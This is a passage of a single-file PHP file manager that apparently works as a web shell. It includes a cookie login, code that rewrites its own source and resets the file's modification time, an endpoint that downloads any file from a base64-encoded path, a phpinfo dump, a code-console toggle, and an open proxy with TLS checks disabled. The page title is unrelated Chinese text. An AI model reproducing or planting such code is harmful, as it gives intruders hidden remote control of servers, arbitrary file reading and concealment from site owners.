	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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